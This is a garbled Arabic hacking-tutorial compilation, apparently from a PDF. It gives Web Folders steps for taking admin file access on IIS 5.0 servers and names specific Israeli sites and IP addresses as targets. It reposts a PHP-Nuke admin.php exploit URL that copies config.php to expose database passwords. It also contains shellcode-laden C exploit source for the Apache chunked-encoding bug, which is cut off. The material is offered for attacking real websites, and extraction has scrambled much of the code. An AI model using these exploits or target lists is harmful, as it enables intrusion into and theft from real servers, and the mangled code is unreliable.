‪:‬‬ ‫او ًل الثغره يا أتخوان تطبق على سيرفرات ‪:‬‬ ‫‪Microsoft-IIS/5.0 on Windows 2000‬‬ ‫يا أتخوان كل مانحتاهجه هي اداه بسيطه يقدمها لنا‬ ‫وندوز ‪ 98‬وانني ل اعلم ان كانت النسخ التخرى‬ ‫تمتلك مثل هذه لخاصيه ا‪.‬م ل لنني اعمل على نظامين‬ ‫فقط لينكس ماندريك ووندوز ‪ 98‬فقط ‪:‬‬ ‫الداه هي ‪Web Folders :‬‬ ‫اين نجد هذه الثغره ‪:‬‬ ‫حسن ًا سوف نجدها انشاءل في الخطوات التاليه ‪:‬‬ ‫‪773‬‬<br /> <br /> ‫ادتخل على ‪My Computer‬‬ ‫ثم ستجدها هناك ليس داتخل السي او شيء آتخر بل‬ ‫داتخل ‪ My Computer‬فقط يعني تكون هي مع‬ ‫السي والدي الى آتخره‬ ‫نفتح يا أتخون الملف المسمى ‪Web Folders‬‬ ‫ثم سنجد التي ‪:‬‬ ‫‪ Add Web Folder‬حيث هي التي ستكون اداتنا‬ ‫المهمه للتختراق‬ ‫نفتح ال ‪: Add Web Folder‬‬ ‫حيث نجد كلمة ‪Type the location to add‬‬ ‫ونرى تحتها مستطيل نقو‪.‬م بأدتخال التي ‪:‬‬ ‫‪/http://hostname.com‬‬ ‫حيث ان ‪ hostname‬هو ايبي الموقع انتبه قلنا‬ ‫ايبي الموقع وليس السم‬ ‫‪774‬‬<br /> <br /> ‫والجميع يعرف كيف يخرج اليبي تبع الموقع وهناك‬ ‫دروس كثيره بخصوص هذا الموضوع‬ ‫وهذه مواقع اسرائيليه للتطيبق حيث انها تعمل على‬ ‫ايبي موحد ‪:‬‬ ‫‪mail.talcar.co.il‬‬ ‫‪daihatsu-israel.co.il‬‬ ‫‪daewoo-israel.co.il‬‬<br /> <br /> ‫ندتخل بالمستطيل الذي تم ذكره ‪:‬‬ ‫‪/http://192.117.143.121‬‬ ‫ثم نضغط على كلمة ‪Next :‬‬ ‫وهنا سوف تعمل الداه بتحميل ملفات الموقع وتعطيك‬ ‫تخاصية الدمن وهي تحميل وازالة الملفات‬ ‫فبعد ان ينتهي البرنامج من التحميل تظهر لك كلمة ‪:‬‬ ‫‪finish‬‬ ‫عندها تذهب الى ال ‪ Web Folder :‬وتجد ملف‬ ‫‪775‬‬<br /> <br /> ‫الموقع هناك ومسمى تحت ايبي الموقع‬ ‫موقع اتخر للتطبيق ‪:‬‬ ‫‪http://www.israwine.co.il/‬‬ ‫‪212.199.43.84‬‬ ‫ملحظه ‪ :‬اذا تم طلب ادتخال باسوورد ويوزر نيم‬ ‫فأعرف ان الثغره مغلقه‬ ‫او اذا دتخلت الى الملفات ولم تجد اي ملف فمعناه ان‬ ‫الثغره مغلقه ايض ًا‬ ‫اسئل ال التوفيق والعافيه اللهم امين اللهم امين‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪776‬‬<br /> <br /> 777<br /> <br /> " ‫" ثغرة نيوك‬<br /> <br /> <‫>منقول‬ >Arab VireruZ :‫>الكاتب‬ : ‫الشر ح بالنقليزية‬ twlc: here your 0day from LucisFero and supergate Posted on Monday, September 24 @ 14:25:58 CDT topic: advisories twlc security divison 24/09/2001 .Php nuke BUGGED :Found by LucisFero and supergate 778<br /> <br /> twlc/. Summary This time the bug is really dangerous...it allows you to 'cp' any file on the box... or even upload ...files Systems Affected all the versions ARE vulnerable except '5.0 RC1' (i wonder why a released c. is ok while the final 5.2 (is bugged Explanation ?Do you need sql password http://www.server.net/admin.php? upload=1&file=config.php&file_nam e=hacked.txt&wdir=/images/&userfil e=config.php&userfile_name=hacke d.txt 779<br /> <br /> the admin 'login' page will be prompted just go to http://www.server.net/images/hacke d.txt and you will see config.php that as everyone knows contain the sql's passwords, you can even upload files...i leave you the 'fun' to find all the ways to use it... and try to dont be a SCRIPT KIDDIE we wrote this advisory to help who runs php nuke and NOT TO LET .YOU HAVE FUN let me explain you the bug... :admin.php contains this routine basedir =$ ;(dirname($SCRIPT_FILENAME ;textrows = 20$ ;textcols = 85$ ;(udir = dirname($PHP_SELF$ ;"/"=if(!$wdir) $wdir 780<br /> <br /> ;"if($cancel) $op="FileManager } (if($upload copy($userfile,$basedir.$wdir. ;($userfile_name lastaction = ""._UPLOADED."$ ;"$userfile_name --> $wdir This need a rewrite // -------------------------------------> OMG! WE TOTALY AGREEEEEEEE lmao ;("include("header.php// ;(GraphicAdmin($hlpfile// ;()html_header// ;()displaydir// ;"/"=wdir2$ ;(chdir($basedir . $wdir2 ;()CloseTable// ;("include("footer.php// Header("Location: admin.php? ;("op=FileManager ;exit { 781<br /> <br /> that doesnt do a check to see if you are logged as admin or no... so you ...can use it anyway Solution we erased the function... cause we wanted to remove the file manager anyway but i suggest you to do the -same... -to upload files use FTP :conclusions yet another bug of php nuke... this software is used by thousands of people... (we run something based on it too) i hope that this time the author will reply soon and will release a patch too! as i said before just dont try to be a script kiddie or we simply WONT post anymore this kind of advisories. Prolly the funny thing is that who first discovered the bug was LucisFero that... 2 782<br /> <br /> hours before didnt knew php ... so i (supergate) fear him and you should .too :posted at http://www.twlc.net article http://www.twlc.net/article.php? sid=421 bugtraq@securityfocus.com -http://www.phpnuke.org -good luck http://sourceforge.net/tracker/? group_id=7511 Project: PHP-Nuke Web Portal System and of course mailed to the author of php nuke contacts (bugs, ideas, insults, cool girls... remember that trojans are :(directed to /dev/null lucisfero@twlc.net supergate@twlc.net 783<br /> <br /> http://www.twlc.net (yes we are (patched .peace out pimps. bella a tutti eof -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-= -=-=-=-=-=-=Arab VireruZ=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= :‫الخطأ البرمجي‬ basedir =$ ;(dirname($SCRIPT_FILENAME ;textrows = 20$ ;textcols = 85$ ;(udir = dirname($PHP_SELF$ ;"/"=if(!$wdir) $wdir ;"if($cancel) $op="FileManager } (if($upload copy($userfile,$basedir.$wdir. 784<br /> <br /> ;($userfile_name lastaction = ""._UPLOADED."$ ;"$userfile_name --> $wdir This need a rewrite // -------------------------------------> OMG! WE TOTALY AGREEEEEEEE lmao ;("include("header.php// ;(GraphicAdmin($hlpfile// ;()html_header// ;()displaydir// ;"/"=wdir2$ ;(chdir($basedir . $wdir2 ;()CloseTable// ;("include("footer.php// Header("Location: admin.php? ;("op=FileManager ;exit { -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-= -=-=-=-=-=-=Arab VireruZ=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= :‫الثغرة‬ 785<br /> <br /> http://www.server.net/admin.php? upload=1&file=config.php&file_nam e=hacked.txt&wdir=/images/&userfil e=config.php&userfile_name=hacke d.txt -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-= -=-=-=-=-=-=Arab VireruZ=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= ‫الثغرة بعد التعديل‬ http://www.server.net/admin.php? upload=1&file=config.php&file_nam e=ultramode.txt&wdir=/&userfile=co nfig.php&userfile_name=ultramode. txt -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-= -=-=-=-=-=-=Arab VireruZ=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-= :‫عمل الثغرة‬ 786<br /> <br /> ‫=طبع ملف الكونفيج ‪ config.php‬الى الملف‬‫النصي الموهجود ‪ ultramode.txt‬لن تحتاج تحميل‬ ‫ملف نصي لطبع الملف‬ ‫كما هو موهجود بالشر ح النقليزي يعني فكر واستنتج‬ ‫‪ (-:‬ولن بعض المواقع تمنع التحميل الى الموقع الن‬ ‫ما عليك سوى الدتخول الى‬ ‫‪http://server.com/ultramode.txt‬‬ ‫وستجد باس واليوزر التابع لقاعدة بيانات الموقع=‪-‬‬ ‫ملحظات‬ ‫‪ -1‬بدل ‪ server.com‬بالموقع الراد اتختراقه‬ ‫‪ -2‬تأكد من موقع المجلة مثال ‪:‬‬ ‫‪http://server.com/nuke‬‬ ‫‪ -3‬هذه الثغرة ل تعمل مع اصدار ‪ 5.2‬كما يظن‬ ‫البعض‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪787‬‬<br /> <br /> 788<br /> <br /> ‫" اثغر ة ‪" Chunked‬‬<br /> <br /> ‫>منقول من موقع ‪<angels-bytes‬‬ ‫كلنا سمع بثغره تسمى ‪ Chunked‬لـ ‪، Apache‬‬ ‫السبب لعد‪.‬م تحدث موقع ‪ angels-bytes‬عنها هو‬ ‫أنها أتت قبل إنطلق الموقع ‪ ،‬الن سأضع ‪Retina‬‬ ‫‪ ، Apache Chunked Scanner‬وهي أداة‬ ‫تقو‪.‬م بفحص نطاق من ‪ 254‬عنوان آي بي ‪ ،‬وتظهر‬ ‫لك ما منها مصاب بهذه الثغره‪.‬‬<br / rel="nofollow"> <br /> ‫إذا أردت معالجة هذه الثغره عند وهجودها فأنصحك‬ ‫‪789‬‬<br /> <br /> ‫بتنزيل أباتشي ‪ 2.0.39‬فهو الفضل الى الن‬ ‫هذه هي وصلة التنزيل‬ ‫‪http://www.apache.org/dist/httpd/bi‬‬ ‫‪naries‬‬ ‫أما لمسألة إستثمار هذه الثغره فسوف أضع لكم أفضل‬ ‫أستثمارين‬<br /> <br /> ‫الخطأ في أباتشي ‪ 1.3.24‬واعلى إلى ‪ 2‬و من ‪ 2‬إلى‬ ‫‪ ، dev-2.0.36‬وهي في الروتين البرمجي الذي‬ ‫يتعامل مع رسائل الخطأ‬ ‫هذان الستثماران تستخدمان من قبل مهاهجم بعيد‬ ‫لتسبب طفح محلي في السيرفر المصاب ‪ ،‬مؤديه بذلك‬ ‫إلى إعادة كتابه في الذاكرة ‪ ،‬وبطريقة ما تسمح لتنفيذ‬ ‫كود‬<br /> <br /> ‫‪ ))*/‬قد تم تجريبها وإتختبارها من قبل ‪angels-‬‬ ‫‪ bytes.com‬قبل وضعها لكم هنا ((‬ ‫‪790‬‬<br /> <br /> /* /*‫*حصلنا عليها من سيكورتي تيم‬/ include# include# include# include# include# include# include# include# include# include# include#<br /> <br /> define EXPLOIT_TIMEOUT 5 /* num# seconds to wait before assuming it /* failed define RET_ADDR_INC 512#<br /> <br /> define# 791<br /> <br /> MEMCPY_s1_OWADDR_DELTA -146 define PADSIZE_1 4# define PADSIZE_2 5# define PADSIZE_3 7#<br /> <br /> define REP_POPULATOR 24# define REP_RET_ADDR 6# define REP_ZERO 36# define REP_SHELLCODE 24# define NOPCOUNT 1024# define NOP 0x41# '\\define PADDING_1 \\'A# '\\define PADDING_2 \\'B# '\\define PADDING_3 \\'C# define PUT_STRING(s) memcpy(p,# ;(s, strlen(s)); p += strlen(s define PUT_BYTES(n, b)# ;memset(p, b, n); p += n 792<br /> <br /> define# SHELLCODE_LOCALPORT_OFF 30 = []char shellcode \\\\ "\\\ x89\\\\xe2\\\\x83\\\\xec\\\\x10\\\\x6a\\\\x \10 \\\ x54\\\\x52\\\\x6a\\\\x00\\\\x6a\\\\x00\\\\x \\b8 "\\\x1f\\ \\\\ "\\\ x00\\\\x00\\\\x00\\\\xcd\\\\x80\\\\x80\\\\x \7a \\\ x01\\\\x02\\\\x75\\\\x0b\\\\x66\\\\x81\\\\x \\7a "\\\x02\\ \\\\ "\\\ x42\\\\x41\\\\x75\\\\x03\\\\xeb\\\\x0f\\\\x \90 793<br /> <br /> \\\ xff\\\\x44\\\\x24\\\\x04\\\\x81\\\\x7c\\\\x \\24 "\\\x04\\ \\\\ "\\\ x00\\\\x01\\\\x00\\\\x00\\\\x75\\\\xda\\\\x \c7 \\\ x44\\\\x24\\\\x08\\\\x00\\\\x00\\\\x00\\\\x \\00 "\\\xb8\\ \\\\ "\\\ x5a\\\\x00\\\\x00\\\\x00\\\\xcd\\\\x80\\\\x \ff \\\ x44\\\\x24\\\\x08\\\\x83\\\\x7c\\\\x24\\\\x \\08 "\\\x03\\ \\\\ "\\\ x75\\\\xee\\\\x68\\\\x0b\\\\x6f\\\\x6b\\\\x \0b \\\ 794<br /> <br /> x81\\\\x34\\\\x24\\\\x01\\\\x00\\\\x00\\\\x \\01 "\\\x89\\ \\\\ "\\\ xe2\\\\x6a\\\\x04\\\\x52\\\\x6a\\\\x01\\\\x \6a \\\ x00\\\\xb8\\\\x04\\\\x00\\\\x00\\\\x00\\\\x \\cd "\\\x80\\ \\\\ "\\\ x68\\\\x2f\\\\x73\\\\x68\\\\x00\\\\x68\\\\x \2f \\\ x62\\\\x69\\\\x6e\\\\x89\\\\xe2\\\\x31\\\\x \\c0 "\\\x50\\ \\\\ "\\\ x52\\\\x89\\\\xe1\\\\x50\\\\x51\\\\x52\\\\x \50 \\\ xb8\\\\x3b\\\\x00\\\\x00\\\\x00\\\\xcd\\\\ 795<br /> <br /> \\x80 ;"\\\xcc\\<br /> <br /> } struct ;char *type ;u_long retaddr targets[] = { // hehe, yes theo, that { !say OpenBSD here OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.20\\\", 0xcf92f OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.22\\\", 0x8f0aa OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.24\\\", 0x90600 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.20\\\", 0x8f2a6 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.23\\\", 0x90600 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.24\\\", 0x9011a OpenBSD 3.1 x86 / Apache"\\\ } 796<br /> <br /> ,{ 1.3.24 #2\\\", 0x932ae ;{<br /> <br /> } ([]int main(int argc, char *argv ;char *hostp, *portp ;unsigned char buf[512], *expbuf, *p ;int i, j, lport ;int sock ;int bruteforce, owned, progress ;u_long retaddr ;struct sockaddr_in sin, from<br /> <br /> } (if(argc != 3 ;([printf(\\\"Usage: %s \\\\n\\\", argv[0 printf(\\\" Using targets:\\\\t./apache;("\\\scalp 3 127.0.0.1:8080\\\\n printf(\\\" Using bruteforce:\\\\t./apache-scalp ;("\\\0x8f000 127.0.0.1:8080\\\\n 797<br /> <br /> printf(\\\"\\\\n--- --- - Potential targets ;("\\\list - --- ----\\\\n printf(\\\"Target ID / Target ;("\\\specification\\\\n (++for(i = 0; i < sizeof(targets)/8; i printf(\\\"\\\\t%d / %s\\\\n\\\", i, ;(targets[i].type ;return -1 {<br /> <br /> ;("\\\:"\\\ ,[hostp = strtok(argv[2 if((portp = strtok(NULL, \\\":\\\")) == (NULL ;"\\\portp = \\\"80 ;(retaddr = strtoul(argv[1], NULL, 16 } (if(retaddr < sizeof(targets)/8 ;retaddr = targets[retaddr].retaddr ;bruteforce = 0 { 798<br /> <br /> else ;bruteforce = 1<br /> <br /> ;(()srand(getpid ;(signal(SIGPIPE, SIG_IGN for(owned = 0, progress = 0;;retaddr } (+= RET_ADDR_INC /* skip invalid return adresses */ ;i = retaddr & 0xff (if(i == 0x0a || i == 0x0d ;++retaddr else if(memchr(&retaddr, 0x0a, 4) || ((memchr(&retaddr, 0x0d, 4 ;continue<br /> <br /> sock = socket(AF_INET, ;(SOCK_STREAM, 0 ;sin.sin_family = AF_INET sin.sin_addr.s_addr = 799<br /> <br /> ;(inet_addr(hostp ;((sin.sin_port = htons(atoi(portp (if(!progress ;("\\\ ..printf(\\\"\\\\n[*] Connecting ;(fflush(stdout if(connect(sock, (struct sockaddr *) } (& sin, sizeof(sin)) != 0 ;("\\\()perror(\\\"connect ;(exit(1 { (if(!progress ;("\\\printf(\\\"connected!\\\\n<br /> <br /> Setup the local port in our */ /* shellcode ;(i = sizeof(from if(getsockname(sock, (struct } (sockaddr *) & from, &i) != 0 ;("\\\()perror(\\\"getsockname 800<br /> <br /> ;(exit(1 { ;(lport = ntohs(from.sin_port shellcode[SHELLCODE_LOCALPOR ;T_OFF + 1] = lport & 0xff shellcode[SHELLCODE_LOCALPOR ;T_OFF + 0] = (lport >> 8) & 0xff<br /> <br /> p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) (* REP_SHELLCODE PADSIZE_1 + (REP_RET_ADDR *)) + 4) + REP_ZERO + 1024) * ;((REP_POPULATOR PUT_STRING(\\\"GET / HTTP/1.1\\\\r\\\\nHost: apache;("\\\scalp.c\\\\r\\\\n (++for (i = 0; i < REP_SHELLCODE; i 801<br /> <br /> } ;("\\\-PUT_STRING(\\\"X PUT_BYTES(PADSIZE_3, ;(PADDING_3 ;("\\\ :"\\\)PUT_STRING ;(PUT_BYTES(NOPCOUNT, NOP memcpy(p, shellcode, ;(sizeof(shellcode) - 1 ;p += sizeof(shellcode) - 1 ;("\\\PUT_STRING(\\\"\\\\r\\\\n { (++for (i = 0; i < REP_POPULATOR; i } ;("\\\-PUT_STRING(\\\"X PUT_BYTES(PADSIZE_1, ;(PADDING_1 ;("\\\ :"\\\)PUT_STRING } (++for (j = 0; j < REP_RET_ADDR; j ;p++ = retaddr & 0xff* ;p++ = (retaddr >> 8) & 0xff* ;p++ = (retaddr >> 16) & 0xff* 802<br /> <br /> ;p++ = (retaddr >> 24) & 0xff* { ;(PUT_BYTES(REP_ZERO, 0 ;("\\\PUT_STRING(\\\"\\\\r\\\\n { PUT_STRING(\\\"Transfer-Encoding: ;("\\\chunked\\\\r\\\\n snprintf(buf, sizeof(buf) 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", ;(PADSIZE_2 ;(PUT_STRING(buf PUT_BYTES(PADSIZE_2, ;(PADDING_2 snprintf(buf, sizeof(buf) 1, \\\"\\\\r\\\\n%x\\\\r\\\\n\\\", ;(MEMCPY_s1_OWADDR_DELTA ;(PUT_STRING(buf ;(write(sock, expbuf, p - expbuf 803<br /> <br /> ;++progress (if((progress%70) == 0 ;progress = 1 } (if(progress == 1 ;((memset(buf, 0, sizeof(buf sprintf(buf, \\\"\\\\r[*] Currently using retaddr 0x%lx, length %u, localport ,"\\\%u retaddr, (unsigned int)(p - expbuf), ;(lport memset(buf + strlen(buf), \\' \\', 74 ;((strlen(buf ;(puts(buf (if(bruteforce ;('\\;'\\)putchar { else ;('\\putchar((rand()%2)? \\'P\\': \\'p<br /> <br /> ;(fflush(stdout 804<br /> <br /> } (while (1 ;fd_set fds ;int n ;struct timeval tv ;tv.tv_sec = EXPLOIT_TIMEOUT ;tv.tv_usec = 0 ;(FD_ZERO(&fds ;(FD_SET(0, &fds ;(FD_SET(sock, &fds ;((memset(buf, 0, sizeof(buf if(select(sock + 1, &fds, NULL, } (NULL, &tv) > 0 } ((if(FD_ISSET(sock, &fds if((n = read(sock, buf, sizeof(buf) (1)) <= 0 ;break if(!owned && n >= 4 && memcmp(buf, \\\"\\\\nok\\\\n\\\", 4) == 805<br /> <br /> } (0 printf(\\\"\\\\nGOBBLE GOBBLE!@# ;("\\\%%)*#\\\\n printf(\\\"retaddr 0x%lx did the ;(trick!\\\\n\\\", retaddr sprintf(expbuf, \\\"uname -a;id;echo hehe, now use 0day OpenBSD local kernel exploit to gain instant ;("\\\r00t\\\\n ;((write(sock, expbuf, strlen(expbuf ;++owned { ;(write(1, buf, n { } ((if(FD_ISSET(0, &fds if((n = read(0, buf, sizeof(buf) - 1)) < (0 ;(exit(1 ;(write(sock, buf, n 806<br /> <br /> { { (if(!owned ;break { ;(free(expbuf ;(close(sock (if(owned ;return 0 } (if(!bruteforce fprintf(stderr, \\\"Ooops.. ;("\\\hehehe!\\\\n ;return -1 { { ;return 0 { 807<br /> <br /> :Exploit #2 include# include# include# include# include# include# include# include# include# include# include# __ifdef __linux# include# endif#<br /> <br /> define HOST_PARAM \\\"apache-# /* nosejob.c\\\" /* The Host: field define DEFAULT_CMDZ \\\"uname# -a;id;echo \\'hehe, now use another 808<br /> <br /> bug/backdoor/feature (hi Theo!) to "\\\gain instant r00t\\';\\\\n define RET_ADDR_INC 512#<br /> <br /> define PADSIZE_1 4# define PADSIZE_2 5# define PADSIZE_3 7#<br /> <br /> define REP_POPULATOR 24# define REP_SHELLCODE 24# define NOPCOUNT 1024# define NOP 0x41# '\\define PADDING_1 \\'A# '\\define PADDING_2 \\'B# '\\define PADDING_3 \\'C# define PUT_STRING(s) memcpy(p,# ;(s, strlen(s)); p += strlen(s define PUT_BYTES(n, b)# 809<br /> <br /> ;memset(p, b, n); p += n = []char shellcode \\\\ "\\\ x68\\\\x47\\\\x47\\\\x47\\\\x47\\\\x89\\\\x \e3 \\\ x31\\\\xc0\\\\x50\\\\x50\\\\x50\\\\x50\\\\x \\c6 "\\\x04\\\\x24\\ \\\\ "\\\ x04\\\\x53\\\\x50\\\\x50\\\\x31\\\\xd2\\\\x \31 \\\ xc9\\\\xb1\\\\x80\\\\xc1\\\\xe1\\\\x18\\\\x \\d1 "\\\xea\\\\x31\\ \\\\ "\\\ xc0\\\\xb0\\\\x85\\\\xcd\\\\x80\\\\x72\\\\ \x02 \\\ x09\\\\xca\\\\xff\\\\x44\\\\x24\\\\x04\\\\x 810<br /> <br /> \\80 "\\\x7c\\\\x24\\ \\\\ "\\\ x04\\\\x20\\\\x75\\\\xe9\\\\x31\\\\xc0\\\\x \89 \\\ x44\\\\x24\\\\x04\\\\xc6\\\\x44\\\\x24\\\\x \\04 "\\\x20\\\\x89\\ \\\\ "\\\ x64\\\\x24\\\\x08\\\\x89\\\\x44\\\\x24\\\\x \0c \\\ x89\\\\x44\\\\x24\\\\x10\\\\x89\\\\x44\\\\x \\24 "\\\x14\\\\x89\\ \\\\ "\\\ x54\\\\x24\\\\x18\\\\x8b\\\\x54\\\\x24\\\\x \18 \\\ x89\\\\x14\\\\x24\\\\x31\\\\xc0\\\\xb0\\\\x \\5d 811<br /> <br /> "\\\xcd\\\\x80\\ \\\\ "\\\ x31\\\\xc9\\\\xd1\\\\x2c\\\\x24\\\\x73\\\\x \27 \\\ x31\\\\xc0\\\\x50\\\\x50\\\\x50\\\\x50\\\\x \\ff "\\\x04\\\\x24\\ \\\\ "\\\ x54\\\\xff\\\\x04\\\\x24\\\\xff\\\\x04\\\\x2 \4 \\\ xff\\\\x04\\\\x24\\\\xff\\\\x04\\\\x24\\\\x5 \\1 "\\\x50\\\\xb0\\ \\\\ "\\\ x1d\\\\xcd\\\\x80\\\\x58\\\\x58\\\\x58\\\\ \x58 \\\ x58\\\\x3c\\\\x4f\\\\x74\\\\x0b\\\\x58\\\\x \\58 "\\\x41\\\\x80\\ 812<br /> <br /> \\\\ "\\\ xf9\\\\x20\\\\x75\\\\xce\\\\xeb\\\\xbd\\\\x \90 \\\ x31\\\\xc0\\\\x50\\\\x51\\\\x50\\\\x31\\\\x \\c0 "\\\xb0\\\\x5a\\ \\\\ "\\\ xcd\\\\x80\\\\xff\\\\x44\\\\x24\\\\x08\\\\x \80 \\\ x7c\\\\x24\\\\x08\\\\x03\\\\x75\\\\xef\\\\x \\31 "\\\xc0\\\\x50\\ \\\\ "\\\ xc6\\\\x04\\\\x24\\\\x0b\\\\x80\\\\x34\\\\x \24 \\\ x01\\\\x68\\\\x42\\\\x4c\\\\x45\\\\x2a\\\\x \\68 "\\\x2a\\\\x47\\ \\\\ "\\\ 813<br /> <br /> x4f\\\\x42\\\\x89\\\\xe3\\\\xb0\\\\x09\\\\x \50 \\\ x53\\\\xb0\\\\x01\\\\x50\\\\x50\\\\xb0\\\\ \\x04 "\\\xcd\\\\x80\\ \\\\ "\\\ x31\\\\xc0\\\\x50\\\\x68\\\\x6e\\\\x2f\\\\x \73 \\\ x68\\\\x68\\\\x2f\\\\x2f\\\\x62\\\\x69\\\\x \\89 "\\\xe3\\\\x50\\ \\\\ "\\\ x53\\\\x89\\\\xe1\\\\x50\\\\x51\\\\x53\\\\x \50 ;"\\\xb0\\\\x3b\\\\xcd\\\\x80\\\\xcc \\\ ; } struct char *type; /* description for newbie /* penetrator 814<br /> <br /> /* !int delta; /* delta thingie /* u_long retaddr; /* return address int repretaddr; /* we repeat retaddr /* thiz many times in the buffer int repzero; /* and \\\\0\\'z this many /* times targets[] = { // hehe, yes theo, that { !say OpenBSD here FreeBSD 4.5 x86 /"\\\ } Apache/1.3.23 (Unix)\\\", -150, ,{ 0x80f3a00, 6, 36 FreeBSD 4.5 x86 /"\\\ } Apache/1.3.23 (Unix)\\\", -150, ,{ 0x80a7975, 6, 36 OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.20\\\", -146, 0xcfa00, 6, 36 OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.22\\\", -146, 0x8f0aa, 6, 36 OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.24\\\", -146, 0x90600, 6, 36 OpenBSD 3.0 x86 / Apache"\\\ } ,{ 1.3.24 #2\\\", -146, 0x98a00, 6, 36 815<br /> <br /> OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.20\\\", -146, 0x8f2a6, 6, 36 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.23\\\", -146, 0x90600, 6, 36 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.24\\\", -146, 0x9011a, 6, 36 OpenBSD 3.1 x86 / Apache"\\\ } ,{ 1.3.24 #2\\\", -146, 0x932ae, 6, 36 OpenBSD 3.1 x86 / Apache"\\\ } 1.3.24 PHP 4.2.1\\\", -146, 0x1d7a00, ,{ 6, 36 NetBSD 1.5.2 x86 / Apache"\\\ } 1.3.12 (Unix)\\\", -90, 0x80eda00, 5, ,{ 42 NetBSD 1.5.2 x86 / Apache"\\\ } 1.3.20 (Unix)\\\", -90, 0x80efa00, 5, ,{ 42 NetBSD 1.5.2 x86 / Apache"\\\ } 1.3.22 (Unix)\\\", -90, 0x80efa00, 5, ,{ 42 NetBSD 1.5.2 x86 / Apache"\\\ } 1.3.23 (Unix)\\\", -90, 0x80efa00, 5, 816<br /> <br /> ,{ 42 NetBSD 1.5.2 x86 / Apache"\\\ } 1.3.24 (Unix)\\\", -90, 0x80efa00, 5, ,{ 42 ;victim ,{<br /> <br /> } (void usage(void ;int i printf(\\\"GOBBLES Security Labs\\\\t\\\\t\\\\t\\\\t\\\\t- apache;("\\\nosejob.c\\\\n\\\\n printf(\\\"Usage: ./apache-nosejob <;("\\\switches> -h host[:80]\\\\n printf(\\\" -h host[:port]\\\\tHost to ;("\\\penetrate\\\\n printf(\\\" -t #\\\\t\\\\t\\\\tTarget ;("\\\id.\\\\n printf(\\\" Bruteforcing options (all required, unless -o is 817<br /> <br /> ;("\\\used!):\\\\n printf(\\\" -o char\\\\t\\\\tDefault values for the following ;("\\\OSes\\\\n printf(\\\" \\\\t\\\\t\\\\t(f)reebsd, ;("\\\(o)penbsd, (n)etbsd\\\\n printf(\\\" -b 0x12345678\\\\t\\\\tBase ;("\\\address used for bruteforce\\\\n printf(\\\" \\\\t\\\\t\\\\tTry 0x80000/obsd, 0x80a0000/fbsd, ;("\\\0x080e0000/nbsd.\\\\n printf(\\\" -d -nnn\\\\t\\\\tmemcpy() delta between s1 and addr to ;("\\\overwrite\\\\n printf(\\\" \\\\t\\\\t\\\\tTry -146/obsd, ;("\\\-150/fbsd, -90/nbsd.\\\\n printf(\\\" -z #\\\\t\\\\t\\\\tNumbers of time to repeat \\\\\\\\0 in the ;("\\\buffer\\\\n printf(\\\" \\\\t\\\\t\\\\tTry 36 for openbsd/freebsd and 42 for ;("\\\netbsd\\\\n 818<br /> <br /> printf(\\\" -r #\\\\t\\\\t\\\\tNumber of times to repeat retadd in the ;("\\\buffer\\\\n printf(\\\" \\\\t\\\\t\\\\tTry 6 for openbsd/freebsd and 5 for ;("\\\netbsd\\\\n ;("\\\printf(\\\" Optional stuff:\\\\n printf(\\\" -w #\\\\t\\\\t\\\\tMaximum number of seconds to wait for ;("\\\shellcode reply\\\\n printf(\\\" -c cmdz\\\\t\\\\tCommands to execute when our shellcode ;("\\\replies\\\\n printf(\\\" \\\\t\\\\t\\\\taka ;("\\\auto0wncmdz\\\\n printf(\\\"\\\\nExamples will be published in upcoming apache;("\\\scalp-HOWTO.pdf\\\\n printf(\\\"\\\\n--- --- - Potential targets ;("\\\list - --- ---- ------- ------------\\\\n printf(\\\" ID / Return addr / Target ;("\\\specification\\\\n 819<br /> <br /> for(i = 0; i < (++sizeof(targets)/sizeof(victim); i printf(\\\"% 3d / 0x%.8lx / %s\\\\n\\\", ;(i, targets[i].retaddr, targets[i].type ;(exit(1 {<br /> <br /> } ([]int main(int argc, char *argv char *hostp, *portp, *cmdz = ;DEFAULT_CMDZ ;u_char buf[512], *expbuf, *p ;int i, j, lport, sock int bruteforce, owned, progress, ;sc_timeout = 5 ;int responses, shown_length = 0 ;struct in_addr ia ;struct sockaddr_in sin, from ;struct hostent *he<br /> <br /> 820<br /> <br /> (if(argc < 4 ;()usage ;bruteforce = 0 ;((memset(&victim, 0, sizeof(victim while((i = getopt(argc, (argv, \\\"t:b:d:h:w:c:r:z:o:\\\")) != -1 } } (switch(i /* required stuff */ :'\\case \\'h ;("\\\:"\\\ ,hostp = strtok(optarg if((portp = strtok(NULL, \\\":\\\")) == (NULL ;"\\\portp = \\\"80 ;break /* predefined targets */ :'\\case \\'t if(atoi(optarg) >= } ((sizeof(targets)/sizeof(victim ;("\\\printf(\\\"Invalid target\\\\n 821<br /> <br /> ;return -1 { memcpy(&victim, &targets[atoi(optarg)], ;((sizeof(victim ;break /* !bruteforce */ :'\\case \\'b ;++bruteforce ;"\\\victim.type = \\\"Custom target victim.retaddr = strtoul(optarg, ;(NULL, 16 printf(\\\"Using 0x%lx as the baseadress while bruteforcing..\\\\n\\\", ;(victim.retaddr ;break :'\\case \\'d ;(victim.delta = atoi(optarg 822<br /> <br /> printf(\\\"Using %d as delta\\\\n\\\", ;(victim.delta ;break :'\\case \\'r ;(victim.repretaddr = atoi(optarg 